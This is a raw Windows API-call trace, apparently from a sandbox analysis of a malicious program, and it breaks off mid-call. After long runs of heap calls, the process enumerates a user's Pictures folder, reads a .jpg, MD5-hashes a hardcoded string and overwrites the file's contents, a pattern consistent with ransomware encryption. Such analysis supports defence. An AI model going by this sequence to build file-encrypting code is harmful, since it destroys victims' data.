[0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.959] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.964] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\") returned="WF0f1QmDHo82b2E\\" [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.964] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\") returned="nEqZA\\" [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.964] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.964] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.964] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.964] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.964] PathFindFileNameW (pszPath="") returned="" [0126.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.964] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f378db0, ftCreationTime.dwHighDateTime=0x1d4cc12, ftLastAccessTime.dwLowDateTime=0x827cf0, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x827cf0, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.966] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f378db0, ftCreationTime.dwHighDateTime=0x1d4cc12, ftLastAccessTime.dwLowDateTime=0x827cf0, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x827cf0, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.966] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9528850, ftCreationTime.dwHighDateTime=0x1d4c689, ftLastAccessTime.dwLowDateTime=0x62749880, ftLastAccessTime.dwHighDateTime=0x1d4cb69, ftLastWriteTime.dwLowDateTime=0x62749880, ftLastWriteTime.dwHighDateTime=0x1d4cb69, nFileSizeHigh=0x0, nFileSizeLow=0x28f5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RzVVuYwX5ISIAY3GJCd.jpg", cAlternateFileName="RZVVUY~1.JPG")) returned 1 [0126.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0126.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0126.966] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\RzVVuYwX5ISIAY3GJCd.jpg") returned=".jpg" [0126.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\WF0f1QmDHo82b2E\\RzVVuYwX5ISIAY3GJCd.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\wf0f1qmdho82b2e\\rzvvuywx5isiay3gjcd.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.967] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=10485) returned 1 [0126.967] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.968] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x28cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.968] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.970] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.970] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x28f5, lpOverlapped=0x0) returned 1 [0126.970] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.971] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.971] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.971] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0126.971] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.971] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.971] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.972] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.972] GetLastError () returned 0x0 [0126.972] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.972] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0126.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2900) returned 0x30fa0b0 [0126.972] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.972] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28f0, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x28f0, lpOverlapped=0x0) returned 1 [0126.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.972] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x28f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.972] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, 